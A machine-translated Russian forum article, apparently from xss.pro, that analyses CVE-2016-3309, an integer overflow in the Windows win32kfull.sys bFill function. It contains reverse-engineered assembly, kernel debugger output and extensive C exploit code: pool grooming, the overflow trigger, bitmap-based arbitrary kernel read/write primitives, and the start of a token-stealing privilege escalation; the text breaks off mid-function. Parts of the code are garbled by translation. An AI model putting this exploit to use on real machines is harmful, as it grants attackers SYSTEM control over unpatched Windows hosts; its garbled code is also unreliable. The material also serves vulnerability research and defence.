• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2016-3309 Примечания к исследованию уязвимости, связанной с повышением привилегий

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

Оригинальная статья

Переведено специально для xss.pro

Камнями кадать Jolah Milovski


Введение​

1. Описание уязвимости​

Эта уязвимость представляет собой уязвимость целочисленного переполнения в функции bFill для win32kfull.sys. Когда функция применяется к памяти, она не проверяет, имеет ли размер применяемой памяти целочисленное переполнение, поэтому размер применяемой памяти может быть намного меньше ожидаемого запрошенного объема памяти. Затем функция будет записывать запрошенную память в соответствии с ожидаемым объемом памяти, что приводит к проблеме записи за пределы, что в конечном итоге приведет к BSOD, потому что _POOL_HEADER соседнего блока уничтожается при освобождении памяти. При правильном расположении памяти вы можете использовать эту операцию записи за пределами границ, чтобы изменить ключевые члены объекта BitMap, чтобы обеспечить чтение и запись произвольного адреса для повышения привилегий.

2. Экспериментальная среда​

  • ОС: Win10 1511 x64 Enterprise Edition
  • Компилятор: Visual Studio 2017
  • Отладчик: IDA Pro, WinDbg

2. Анализ уязвимостей​

1. Причина уязвимости​

Первый параметр функции bFill представляет собой структуру EPATHOBJ. Структура определяется следующим образом. Параметр cCurves, хранящийся по смещению 0x4, определяет количество кривых. Функция bFill использует это значение для расчета объема памяти, к которому будет применяться.

Код:
typedef struct _EPATHOBJ
{
  PATHOBJ  po;
  PPATH   pPath;
  CLIPOBJ   *pco;
} EPATHOBJ, *PEPATHOBJ;
 
typedef struct _PATHOBJ {
  FLONG  fl;
  ULONG  cCurves;
} PATHOBJ;

Ниже приведен код функции bFill.Функция извлекает cCurves из EPATHOBJ и использует значение, полученное путем умножения его на 0x30, в качестве размера памяти, применяемого к памяти. Если приложение выполнено успешно, примененная память будет записана в вызванную функцию bConstructGET, а примененная память будет освобождена в конце функции bFill.

Код:
.text:0000000001C02C8D24 ; __int64 __fastcall bFill(struct EPATHOBJ *ePathObj, __m128i *a2, int a3, void (__stdcall *a4)(struct _RECTL *, unsigned int, void *), void *a5)
.       // Omit some code
.text:00000001C02C8D56 mov rbx, rcx ;assign the first parameter EPATHOBJ to rbx
        // omit part of the code
.text:00000001C02C90DE mov eax, [rbx+4] ; assign cCurves to eax
.text:00000001C02C90E1 cmp eax, 14h ; compare if eax is greater than 0x14, if greater then jump, here need to jump to apply
.text:00000001C02C90E4 ja short loc_1C02C90FA
.text:00000001C02C90F3 and [rsp+658h+isAlloc], 0 ;if not greater than 0x14, then no memory is requested and the variable is set to 0
.text:00000001C02C90F8 jmp short loc_1C02C9126
        // Omit part of the code
.text:00000001C02C90FA loc_1C02C90FA: ; code for requesting memory
.text:00000001C02C90FA lea ecx, [rax+rax*2] ; assign the value of cCurves * 3 to ecx
.text:00000001C02C90FD shl ecx, 4 ; shift ecx left 4 bits, i.e. multiply by 2^4 = 0x10, so ecx = cCurves * 0x30
.text:00000001C02C9100 xor r8d, r8d
.text:00000001C02C9103 mov edx, 'gdeG'
.text:00000001C02C9108 call PALLOCMEM2 ; This function will call Win32AllocPool to request memory
.text:00000001C02C910D mov r14, rax ; assign the requested memory address to r14
.text:00000001C02C9110 mov [rsp+658h+var_608], rax
.text:00000001C02C9115 test rax, rax ; determine if the memory request is successful
.text:00000001C02C9118 jz loc_1C02C93CA
.text:00000001C02C911E mov [rsp+658h+isAlloc], 1 ; Set the variable to 1 if the application is successful
        // Omit part of the code
.text:00000001C02C9182 mov r8, r14 ; assign the requested memory address saved in r14 to r8
.text:00000001C02C9185 lea rdx, [rsp+658h+var_5A8]
.text:00000001C02C918D mov rcx, rbx       
.text:00000001C02C9190 call cs:__imp_bConstructGET ; This function will write to the requested memory address
        // omit some code
.text:00000001C02C93B8 cmp [rsp+658h+isAlloc], 0 ; determine if the above memory request is successful by the variable isAlloc
.text:00000001C02C93BD jz short loc_1C02C93C8
.text:00000001C02C93BF mov rcx, r14       
.text:00000001C02C93C2 call cs:__imp_Win32FreePool ; if successful then free memory
        // omit part of the code
.text:00000001C02C93EC ?bFill@@@YAHAEAVEPATHOBJ@@PEAU_RECTL@@@KP6AX1KPEAX@Z2@Z endp

2. Анализ кода POC​

Ниже приведен POC, запускающий уязвимость. Код увеличивает cCurves EPATHOBJ за счет вызова функции PolyLineTo, всего 0x156 раз и каждый раз 0x3FE01. Перед вызовом функции bFill значение cCurves также будет увеличено на 1, чтобы замкнуть кривую. Следовательно, размер памяти, запрошенный в функции bFill, будет (0x156 * 0x3FE01 + 1) * 0x30 = 0x5555557 * 0x30 = 0x1 0000 00050, а после переполнения будет равен 0x50.

Код:
1: kd> p
win32kfull!bFill+0x3d6:
fffff961`218c90fa 8d0c40 lea ecx,[rax+rax*2] // ecx = eax * 3
1: kd> p
win32kfull!bFill+0x3d9:
fffff961`218c90fd c1e104 shl ecx,4 // ecx = ecx * 2^4 = ecx * 0x10 = eax * 0x30
1: kd> r ecx
ecx=10000005
1: kd> p
win32kfull!bFill+0x3dc:
fffff961`218c9100 4533c0 xor r8d,r8d
1: kd> r rcx // At this point rcx has overflowed to 0x50
rcx=0000000000000050
1: kd> p
win32kfull!bFill+0x3df:
fffff961`218c9103 ba47656467 mov edx,67646547h
1: kd> p
win32kfull!bFill+0x3e4:
fffff961`218c9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (ffffff961`2161d0fc)
1: kd> p
win32kfull!bFill+0x3e9:
fffff961`218c910d 4c8bf0 mov r14,rax
1: kd> r rax
rax=fffff90141c96380 // Address of the requested memory

Продолжаz выполняться, операция записи за пределами выделенного диапазона изменит _POOL_HEAEDER соседнего блока памяти, что приведет к ошибке BSOD при освобождении памяти. Ниже приведена некоторая информация об ошибке:

Код:
1: kd> !" analyze -v" analyze.
*******************************************************************************

*                            Bugcheck Analysis                                           *
*                                                                                                      *
*******************************************************************************
 
bad_pool_header (19) // reason for bsod generation
The pool was corrupted at the time of the current request.
This may or may not be due to the caller.
The link to the internal pool must be checked to find the possible cause.
Possible causes of the problem and then apply the special pool to the suspicious token or the driver verifier to the suspicious driver.
verifier to the suspicious driver.
Parameter.
Arg1: 00000000000000000020, a pool block header is broken in size.
Arg2: fffff90141c96370, the memory block entry we are looking for within the page. // The _pool_header of the requested memory block
Arg3: fffff90141c963d0, the next memory block entry.              // The next memory block _pool_header of the requested memory block
Arg4: 0000000025060037, (Reserved)
 
 
SYMBOL_NAME: win32kfull!bFill+2dd

Использование уязвимостей​

1. Схема памяти​

Эта уязвимость может привести к записи за пределы соседней памяти из-за целочисленного переполнения.Если эти операции записи могут изменить ключевые члены объекта BitMap, может быть достигнута запись произвольного адреса. Для достижения этой цели требуется определенная схема памяти.Память в пуле в x64-разрядных операционных системах имеет следующие характеристики:

  • К каждому блоку запрошенной памяти будет добавлен _POOL_HEADER размером 0x10 байт.
  • Если запрошенный размер памяти превышает 0x808 байт, память будет запрошена в новой странице памяти.
  • Последовательные запросы будут выделяться с конца страницы, и память в конце страницы не будет объединена со следующим блоком памяти, расположенным на соседней странице памяти, при его освобождении.
Структура памяти в этой статье отличается от схемы в справочной ссылке, где 0x1000 байт каждой страницы состоит из объекта буфера обмена размером 0xBC0, объекта BitMap размером 0x3E0 и объекта таблицы ускорения или свободной памяти размером 0x60. Таким образом, при срабатывании уязвимости запрошенная память 0x50 (плюс _POOL_HEADER равно 0x60) займет свободную память в конце страницы. Таким образом, даже если операция записи вне границ изменит _POOL_HEADER соседнего блока памяти, блок памяти в это время находится на следующей странице памяти, поэтому, когда запрошенный блок памяти размером 0x50 освобождается, BSOD не будет сгенерирован из-за операции слияния. На этом этапе, если вы можете использовать операцию записи вне границ для изменения членов ключа в объекте BitMap на соседней странице памяти, вы можете добиться чтения и записи произвольного адреса.
image.translated.jpg



Чтобы создать структуру памяти, показанную на рисунке выше, и в то же время сделать память, запрашиваемую при срабатывании уязвимости, только свободной памятью 0x60 в середине 1000 страниц памяти, необходимо выполнить следующие шаги:

  1. Используйте свободную память в пуле памяти, создав память размером 0x60 с помощью объекта акселерометра.
  2. Создайте 5000 объектов BitMap размером 0xFA0, чтобы было 5000 страниц памяти, содержащих объекты BitMap размера 0xFA0 и свободную память размером 0x60.
  3. Создание 5000 таблиц ускорения размером 0x60 байт с помощью объекта таблицы ускорения занимает свободную память размером 0x60 на шаге 2.
  4. Освободите объект BitMap, созданный на шаге 2, чтобы начальная память 0xFA0 из 5000 страниц памяти стала свободной памятью.
  5. Создайте 5000 объектов буфера обмена размером 0xBC0.Эти объекты будут занимать 0xBC0 в свободной памяти, начиная с 0xFA0 на странице памяти, сгенерированной освобождением объекта BitMap на шаге 4. Эти 0xFA0 свободной памяти останутся 0xFA0 - 0xBC0 = свободная память на 0x3E0
  6. Создайте 5000 объектов BitMap 0x3E0, эти объекты BitMap займут оставшуюся свободную память 0x3E0 на шаге 5.
  7. Освободите среднюю часть объекта таблицы ускорения, созданного на шаге 3, который сгенерирует 0x60 свободной памяти после объекта буфера обмена и объекта BitMap, созданного на шагах 5 и 6, так что память, запрошенная при срабатывании уязвимости, будет просто занимать эти 0x60 размер свободной памяти
После вышеуказанных 7 шагов будет сформирована схема памяти на рисунке выше.Соответствующий код выглядит следующим образом.На данный момент следует отметить, что в системе x64 заголовок объекта BitMap занимает 0x260 байт, а заголовок объекта таблицы ускорений занимает 0x20 байт Заголовок объекта платы занимает 0x14 байт.

Код:
BOOL Init_CVE_2016_3309()
{
    BOOL bRet = TRUE.
    CONST DWORD dwBitNum = 5000, dwAccelNum = 5000, dwJunkNum = 2000.
    DWORD i = 0.
    HBITMAP hBitMap[dwBitNum + 5] = { 0 };
    HACCEL hAccel[dwAccelNum + 5] = { 0 };
 
    for (i = 0; i < dwJunkNum; i++)
    {
        // 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
        ACCEL accel[0x6] = { 0 };
        hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
        if (!hAccel[i])
        {
            ShowError("CreateAcceleratorTableA", GetLastError()).
            bRet = FALSE.
            geto exit;
        }
    }
 
    for (i = 0; i < dwBitNum; i++)
    {
        // 0xD30 * 1 * 8 / 8 = 0xD30
        // 0xD30 + 0x10 + 0x260 = 0xFA0
        hBitMap[i] = CreateBitmap(0xD30, 1, 1, 8, NULL);
        if(!hBitMap[i])
        {
            ShowError("CreateBitmap", GetLastError()).
            bRet = FALSE.
            geto exit;
        }
    }
 
    for (i = 0; i < dwAccelNum; i++)
    {
        // 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
        ACCEL accel[0x6] = { 0 };
        hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
        if (!hAccel[i])
        {
            ShowError("CreateAcceleratorTableA", GetLastError()).
            bRet = FALSE.
            geto exit;
        }
    }
 
    for (i = 0; i < dwBitNum; i++)
    {
        // Free the BitMap object of 0xFA0
        if (!DeleteObject(hBitMap[i]))
        {
            ShowError("DeleteObject", GetLastError());
            bRet = FALSE.
            geto exit;
        }
        hBitMap[i] = NULL;
    }
 
    for (i = 0; i < dwBitNum; i++)
    {
        // 0xB9C + 0x14 + 0x10 = 0xBC0, occupying 0xBC0 of it
        // so that the 0xFA0 memory obtained by releasing the BitMap object is left with 0xFA0 - 0xBC0 = 0x3E0
        If (!CreateClipboard(0xB9C))
        {
            bRet = FALSE;
            Go to exit.
        }
    }
 
    for (i = 0; i < dwBitNum; i++)
    {
        // 0x5C * 32 / 8 = 0x5C * 4 = 0x170
        // 0x170 + 0x10 + 0x260 = 0x3E0
        // Occupy the remaining 0x3E0 memory
        hBitMap[i] = CreateBitmap (0x5C, 1, 1, 32, NULL).
        if (!hBitMap[i])
        {
            ShowError("CreateBitmap", GetLastError()).
            bRet = FALSE.
            geto exit;
        }
    }
 
    for (i = 2000; i < 3000; i++)
    {
        // Free some of the 0x60 bytes of memory at the end of the page, some piece of which is used to hold the 0x60 memory requested by the vulnerability
        if (!DestroyAcceleratorTable(hAccel[i]))
        {
            ShowError("DestroyAcceleratorTable", GetLastError()).
            bRet = FALSE.
            geto exit;
        }
        hAccel[i] = NULL;
    }
Exit.
    Returns bRet.
}

Установите точку останова в запрошенной памяти, скомпилируйте и запустите программу, и вы увидите, что запрошенная в это время память находится в последних 0x60 байтах страницы памяти:

Код:
1: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff960`298e9108 e8ef3fd5ff      call    win32kfull!PALLOCMEM2 (fffff960`2963d0fc)
2: kd> p
win32kfull!bFill+0x3e9:
fffff960`298e910d 4c8bf0          mov     r14,rax
2: kd> r rax
rax=fffff90145284fb0

BASEOBJECT64 объекта BitMap, созданного в системе x64, занимает 0x18 байт, а структура определяется следующим образом:

Код:
typedef struct {
  ULONG64 hHmgr;
  ULONG32 ulShareCount;
  WORD cExclusiveLock;
  WORD BaseFlags;
  ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18

Ключевые элементы, которые используют объекты BitMap для записи произвольных адресов, находятся в после BASEOBJECT64, и эта структура определяется следующим образом:

Код:
ypedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
 
typedef SIZE SIZEL;
 
typedef struct {
  ULONG64 dhsurf;         // 0x00
  ULONG64 hsurf;          // 0x08
  ULONG64 dhpdev;         // 0x10
  ULONG64 hdev;           // 0x18
  SIZEL sizlBitmap;       // 0x20
  ULONG64 cjBits;         // 0x28
  ULONG64 pvBits;         // 0x30
  ULONG64 pvScan0;        // 0x38
  ULONG32 lDelta;         // 0x40
  ULONG32 iUniq;          // 0x44
  ULONG32 iBitmapFormat;  // 0x48
  USHORT iType;           // 0x4C
  USHORT fjBitmap;        // 0x4E
} SURFOBJ64;              // sizeof = 0x50

pvScan0 со смещением 0x38 указывает адрес памяти для чтения и записи через SetBitmapBits и GetBitmapBits.При нормальных обстоятельствах адрес, на который указывает pvScan0, следует за заголовком объекта BitMap. Cx и cy в sizlBitmap со смещением 0x20 определяют количество байт, которое можно прочитать и записать.Если эти два значения можно изменить, диапазон чтения и записи может быть расширен.

Модификация памяти происходит в функции bConstructGET, которая завершает запись вызовом функции AddEdgeToGET Второй параметр функции AddEdgeToGET указывает на адрес памяти, подлежащий модификации, а третий и четвертый параметры представляют собой структуру _POINT, соответствующую точки в массиве POINT в коде POC представляют собой координаты предыдущей точки и текущей точки соответственно.Последним параметром является структура RECTL, и соответствующие определения следующие:

Код:
typedef struct tagRECT {
    LONG left;
    LONG top;
    LONG right;
    LONG bottom;
} RECT,*PRECT,*NPRECT,*LPRECT;
 
typedef LONG FIX;
 
typedef struct _POINTFIX {
  FIX  x;
  FIX  y;
} POINTFIX, *PPOINTFIX;

Ниже приведен код ключа в функции AddEdgeToGET, где верхняя и нижняя части прямоугольника могут быть получены путем динамической отладки, а их значения равны 0x1F0 и 0 соответственно.

Код:
struct EDGE *__fastcall AddEdgeToGET(struct EDGE *a1, struct EDGE *a2, struct _POINTFIX *prePoint, struct _POINTFIX *curPoint, struct _RECTL *rect)
{
  cur_y = *((_DWORD *)curPoint + 1); // Take the y of the current point
  min_y = *((_DWORD *)prePoint + 1); // assign the y of the previous point to min_y
  pre_y = *((_DWORD *)prePoint + 1); // fetch the y of the previous point
  plus_y = *((_DWORD *)curPoint + 1) - pre_y; // subtract the y of the current point from the y of the previous point
  edge = a2; // assign the requested memory block to edge
 
  if ( plus_y < 0 ) // determine if the subtraction of two y values is less than 0
  {
     max_y = min_y; // assign min_y, the y of the previous point, to max_y
    *((_DWORD *)edge + 0xA) = 0xFFFFFFFF; // assign 0xFFFFFFFF at memory offset 0xA * 0x4 = 0x28
    min_y = cur_y; // less than 0, then assign min_y to cur_y, so min_y is equal to the smaller of the current point and the previous point
  }
  else
  {
    max_y = *((_DWORD *)curPoint + 1); // assign the y of the current point to max_y, so max_y is equal to the greater of the current point and the previous point
    *((_DWORD *)edge + 0xA) = 1; // assign 1 at memory offset 0xA * 0x4 = 0x28
  }
 
  v15 = (min_y + 0xF) >> 4;
  v16 = ((max_y + 0xF) >> 4) - v15;
  if ( v16 <= 0 ) // If the larger value and the smaller value are equal, that is, if the y values of the two points are equal, then it will return
    return edge;
 
  result = (struct EDGE *)((char *)edge + 0x30); // take the next EDGE structure, here see each time backward 0x30 bytes, EDGE structure size is 0x30
 
  return result;
}

Этот код может получить следующую информацию:

  1. Если значение y текущей точки меньше значения y предыдущей точки, памяти со смещением памяти 0x28 будет присвоено значение 0xFFFFFFFF, в противном случае ей будет присвоено значение 1.
  2. Если значения y текущей точки и предыдущей точки равны, функция вернет ребро напрямую, то есть без смещения памяти, вернет исходный адрес памяти напрямую
  3. Если второй шаг не возвращается, будет возвращена память по краю + 0x30, то есть будет взят адрес памяти по текущему смещению адреса 0x30. При следующем входе в эту функцию будет работать эта новая память. также можно увидеть здесь, размер структуры EDGE 0x30
В макете памяти этой статьи, чтобы изменить sizlBitmap в BitMap, вам нужно записать 0x50 байт приложения, объект буфера обмена 0xBC0 байтов в начале страницы и смещение члена sizlBitmap относительно Страница объекта BitMap имеет размер 0x10 + 0x18 + 0x20 = 0x48, всего 0x50 + 0xBC0 + 0x48 = 0xC58, sizelBitmap занимает 8 байтов, поэтому необходимо обработать всего 0xC60 байтов, а функция AddEdgeToGET будет перемещать 0x30 байтов памяти каждый время, поэтому всего необходимо добавить 0xC60 / 0x30 = 0x42 раза. Начальная точка и конечная точка будут добавлены как особый случай, поэтому вам нужно только установить все точки одинаковыми, а одну из них установить разной.При добавлении cCurves 0x20 раз перед вызовом функции PolyLine эта точка используется как предыдущая точка и Смещение памяти будет выполняться в текущей точке, так что 0x20 * 2 + 2 = 0x42 раза будет записано точно, а код, запускающий уязвимость, следующий:

Код:
BOOL Trigger_CVE_2016_3309()
{
    CONST DWORD dwCount = 0x3FE01;
    BOOL bRet = TRUE;
    static POINT points[dwCount];
    HDC hdc = NULL, hMemDC = NULL;
    HBITMAP bitmap = NULL;
    HGDIOBJ bitobj = NULL;
    DWORD i = 0;
         
        // 将y值设置为相同
    for (i = 0; i < dwCount; i++)
    {
        points[i].x = 0x5A1F;
        points[i].y = 0x5A1F;
    }
         
        // 将第3个点y值设为20
    points[2].y = 20;
    points[dwCount - 1].x = 0x4A1F;
    points[dwCount - 1].y = 0x6A1F;
 
    hdc = GetDC(NULL);
    if (!hdc)
    {
        ShowError("GetDC", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
    hMemDC = CreateCompatibleDC(hdc);
    if (!hMemDC)
    {
        ShowError("CreateCompatibleDC", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
    bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
    if (!bitmap)
    {
        ShowError("CreateBitmap", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
    bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
    if (!bitobj)
    {
        ShowError("SelectObject", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
 
    if (!BeginPath(hMemDC))
    {
        ShowError("BeginPath", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
    for (int j = 0; j < 0x156; j++)
    {
            // 写入0x20次以后,停止写入
        if (j > 0x1F && points[2].y != 0x5A1F)    points[2].y = 0x5A1F;
        if (!PolylineTo(hMemDC, points, dwCount))
        {
            ShowError("PolylineTo", GetLastError());
            bRet = FALSE;
            goto exit;
        }
    }
 
    if (!EndPath(hMemDC))
    {
        ShowError("EndPath", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
    FillPath(hMemDC);
 
exit:
    return bRet;
}

В это время установите точку останова в памяти приложения, скомпилируйте и запустите программу, и до того, как память будет записана, sizlBitmap BitMap имеет размер, указанный при создании BitMap.

Код:
0: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff961`9e6c9108 e8ef3fd5ff      call    win32kfull!PALLOCMEM2 (fffff961`9e41d0fc)
0: kd> p
win32kfull!bFill+0x3e9:
fffff961`9e6c910d 4c8bf0          mov     r14,rax
3: kd> r rax
rax=fffff901458b0fb0
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0  35306847`233e00bc 00000000`00000000
fffff901`458b1bd0  00000000`02051192 00000000`00000000
fffff901`458b1be0  00000000`00000000 00000000`00000000
fffff901`458b1bf0  00000000`02051192 00000000`00000000
fffff901`458b1c00  00000000`00000000 00000001`0000005c    // ffff901`458B1C08处即是sizlBitmap成员
fffff901`458b1c10  00000000`00000170 fffff901`458b1e28
fffff901`458b1c20  fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30  00010000`00000006 00000000`00000000

Когда операция записи за пределами границ завершена, размер члена sizlBitmap расширяется до 0x1 * 0xFFFFFFFF = 0xFFFFFFFF, предыдущий член члена sizelBitmap, то есть hdev, изменяется на ненулевое, а последующие члены , тем более pvScan0, не модифицируются.

Код:
3: kd> g
Breakpoint 1 hit
win32kfull!bFill+0x46c:
fffff961`4a4c9190 ff156a7f0800 call qword ptr [win32kfull!_imp_bConstructGET (ffffff961`4a551100)]
3: kd> p
win32kfull!bFill+0x472:
fffff961`4a4c9196 8bd8 mov ebx,eax
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0 ffffffff`00000014 005a0b00`00000000
fffff901`458b1bd0 00000001`00000000 00000000`00000001
fffff901`458b1be0 fffffff901`458b0fb0 00000000`0000001f
fffff901`458b1bf0 ffffffff`00000000 006a1f00`004a1f00
fffff901`458b1c00 00000001`00000000 00000001`ffffffff // At this point the sizlBitmap is expanded and the hdev in 0xffff901`458b1c00 is modified
fffff901`458b1c10 00000000`00000170 fffff901`458b1e28 // the address pointed by pvScan0 is not modified, it is normal
fffff901`458b1c20 fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30 00010000`00000006 00000000`00000000

В это время расширяется член sizlBitmap, то есть расширяется адрес, который может быть прочитан и записан в объект BitMap через SetBitmapBits и GetBitmapBits, а pvScan0 не изменен, поэтому в это время можно использовать объект BitMap. как работа, и соседние страницы могут быть. Объект BitMap на странице используется в качестве менеджера для реализации чтения и записи произвольного адреса путем изменения pvScan0 в объекте BitMap на соседней странице.

Метод получения работы также очень прост.При создании объекта BitMap указывается размер доступной для чтения и записи памяти 0x5C * 1 * 32/8 = 0x170, поэтому вы можете пройтись по массиву дескрипторов BitMap и вызвать GetBitmapBits для определения доступного для чтения и доступная для записи память. Если размер памяти превышает это значение, если он превышает, это означает, что BitMap был изменен. Соответствующий код выглядит следующим образом:

Код:
pBuf_2016_3309 = (PULONG64)malloc(0x1000);
if (!pBuf_2016_3309)
{
    bRet = FALSE;
    ShowError("malloc", GetLastError());
    goto exit;
}
 
ZeroMemory(pBuf_2016_3309, 0x1000);
 
for (i = 0; i < dwBitNum; i++)
{
    if (GetBitmapBits(hBitMap[i], 0x1000, pBuf_2016_3309) > 0x170)
    {
        g_hWorker_2016_3309 = hBitMap[i];
        g_hManager_2016_3309 = hBitMap[i + 1];
        break;
    }
}
 
if (!g_hWorker_2016_3309 || !g_hManager_2016_3309)
{
    printf("not find BitMap\n");
    bRet = FALSE;
    goto exit;
}

В это время при компиляции и запуске возникает ошибка BSOD.Сообщение об ошибке выглядит следующим образом.Вы можете видеть, что ошибка возникает при вызове функции GetBitmapBits, содержимое по смещению rax 0x38 будет прочитано в bAllowShareAccess, а память этого адреса будет прочитана в это время.она недействительна. равен hdev объекта BitMap , поэтому эта ошибка вызвана изменением hdev при записи памяти.

Код:
rax=0000000100000000 rbx=ffffd000b6c019c8 rcx=ffffd000b6c019d0
rdx=ffffd000b6c019d0 rsi=fffff9014511dbd0 rdi=0000000100000000
rip=fffff9614a5a2553 rsp=ffffd000b6c018e8 rbp=ffffd000b6c01a20
 r8=fffff9614a4e7e58  r9=0000000000000000 r10=7ffff9014000b588
r11=7ffffffffffffffc r12=ffffd000b6c01b18 r13=0000000003ff3d58
r14=0000000000000000 r15=0000000000001000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
win32kbase!PDEVOBJ::bAllowShareAccess+0x3:
fffff961`4a5a2553 8b5038          mov     edx,dword ptr [rax+38h] ds:002b:00000001`00000038=????????
 
STACK_TEXT:  
win32kbase!PDEVOBJ::bAllowShareAccess+0x3
win32kbase!NEEDGRELOCK::vLock+0x21
win32kfull!GreGetBitmapBits+0xf6
win32kfull!NtGdiGetBitmapBits+0xab
 
1: kd> dd 0000000100000000 + 0x38
00000001`00000038  ???????? ???????? ???????? ????????
00000001`00000048  ???????? ???????? ???????? ????????
00000001`00000058  ???????? ???????? ???????? ????????
00000001`00000068  ???????? ???????? ???????? ????????
00000001`00000078  ???????? ???????? ???????? ????????
00000001`00000088  ???????? ???????? ???????? ????????
00000001`00000098  ???????? ???????? ???????? ????????
00000001`000000a8  ???????? ???????? ???????? ????????

В функции ошибки bAllowShareAccess будет извлечен адрес hdev + 0x38 и оценено, равен ли он 1. Если это 1, функция вернет 0, и функция GetMapbitsBits будет вызвана успешно.

Код:
.text:00000001C0012550 ; __int64 __fastcall PDEVOBJ::bAllowShareAccess(PDEVOBJ *__hidden this)
.text:00000001C0012550                 mov     rax, [rcx]
.text:00000001C0012553                 mov     edx, [rax+38h]
.text:00000001C0012556                 test    dl, 1
.text:00000001C0012559                 jz      short loc_1C00125C1
                    // 省略部分代码
.text:00000001C00125C1 loc_1C00125C1:                          
.text:00000001C00125C1                                         
.text:00000001C00125C1                 xor     eax, eax
.text:00000001C00125C3                 retn
.text:00000001C00125C3 ?bAllowShareAccess@PDEVOBJ@@QEAAHXZ endp

В соответствии с приведенной выше отладкой вы можете видеть, что значение hdev изменено на 0x1 0000 0000. Поэтому, чтобы избежать вышеуказанной ошибки BSOD, просто подайте заявку на память по адресу 0x1 0000 0000 и измените значение 0x1 0000 0038 на 1. Соответствующий код выглядит следующим образом:

Код:
PBYTE pBuffer = (PBYTE)VirtualAlloc((PVOID)0x100000000,
                    0x1000,
                    MEM_COMMIT | MEM_RESERVE,
                    PAGE_READWRITE);
if (!pBuffer)
{
    ShowError("VirtualAlloc", GetLastError());
    bRet = FALSE;
    goto exit;
}
 
*(pBuffer + 0x38) = 1;

Теперь у меня есть hWorker, который может изменять объект BitMap размером 0xFFFFFFFF, и мне нужно использовать его только для изменения pvScan0 объекта BitMap соседней страницы памяти, чтобы получить произвольный адрес для чтения и записи. Адрес, на который указывает pvScan0 из hWorker, находится после объекта BitMap hWorker, поэтому смещение pvScan0 соседней страницы памяти относительно него равно 0x1D0(0x1000 - 0xBC0 - 0x10 -0x260) + 0xBC0 + 0x10 + 0x18 + 0x38 = 0x1D0 + 0xC20 = 0xDF8. Следовательно, изменяя память по смещению 0xDF8 hWorker через SetBitmapBits, можно изменить pvScan0 объекта BitMap соседней страницы памяти.В это время можно завершить любое чтение и запись адреса.Соответствующий код выглядит следующим образом:
Код:
BOOL SetAddress_CVE_2016_3309(ULONG64 ulAddress)
{
    BOOL bRet = TRUE;
 
    pBuf_2016_3309[0xDF8 / 8] = ulAddress;
 
    if (SetBitmapBits(g_hWorker_2016_3309, 0x1000, pBuf_2016_3309) < 0x1000)
    {
        ShowError("SetBitmapBits", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
exit:
    return bRet;
}
 
BOOL BitMapRead_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
    BOOL bRet = TRUE;
 
    if (!SetAddress_CVE_2016_3309(ulAddress))
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (GetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
    {
        ShowError("GetBitmapBits", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
exit:
    return bRet;
}
 
BOOL BitMapWrite_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
    BOOL bRet = TRUE;
 
    if (!SetAddress_CVE_2016_3309(ulAddress))
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (SetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
    {
        ShowError("GetBitmapBits", GetLastError());
        bRet = FALSE;
        goto exit;
    }
 
exit:
    return bRet;
}

4. Запуск результатов​

В системе win 10 x64 несколько элементов, связанных с повышением привилегий, следующие:

Код:
2: kd> dt _EPROCESS
nt!_EPROCESS
   +0x2e8 UniqueProcessId  : Ptr64 Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY
   +0x358 Token            : _EX_FAST_REF
 
2: kd> dt _LIST_ENTRY
FLTMGR!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

Чтобы добиться повышения привилегий, назначьте Токен процесса System Токену этого процесса. В файле ядра ntoskrnl.exe глобальная переменная PsInitialSystemProcess сохраняет адрес EPROCESS процесса System:

1660621632974.png


Таким образом, пока вы найдете адрес PsInitialSystemProcess в ядре ntoskrnl.exe, работающем в текущей системе, вы можете получить адрес EPEROCESS процесса System. Смещение PsInitialSystemProcess относительно файла ядра можно получить через GetProceAddress, а адрес файла ядра, работающего в текущей системе, должна быть получена следующая функция:

Код:
BOOL WINAPI EnumDeviceDrivers(
  __out  LPVOID* lpImageBase,
  __in   DWORD cb,
  __out  LPDWORD lpcbNeeded);

Первый параметр используется для получения адреса файла драйвера, работающего в системе, эта переменная будет указывать на массив ULONG64, первым элементом которого является адрес ntoskrnl.exe, работающего в текущей системе, поэтому он может можно получить следующим кодом Адрес EPROCESS процесса System:

Код:
ULONG64 GetNTBase()
{
    ULONG64 Base[0x1000];
    DWORD dwRet = 0;
    ULONG64 ulKrnlBase = 0;
 
    if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
    {
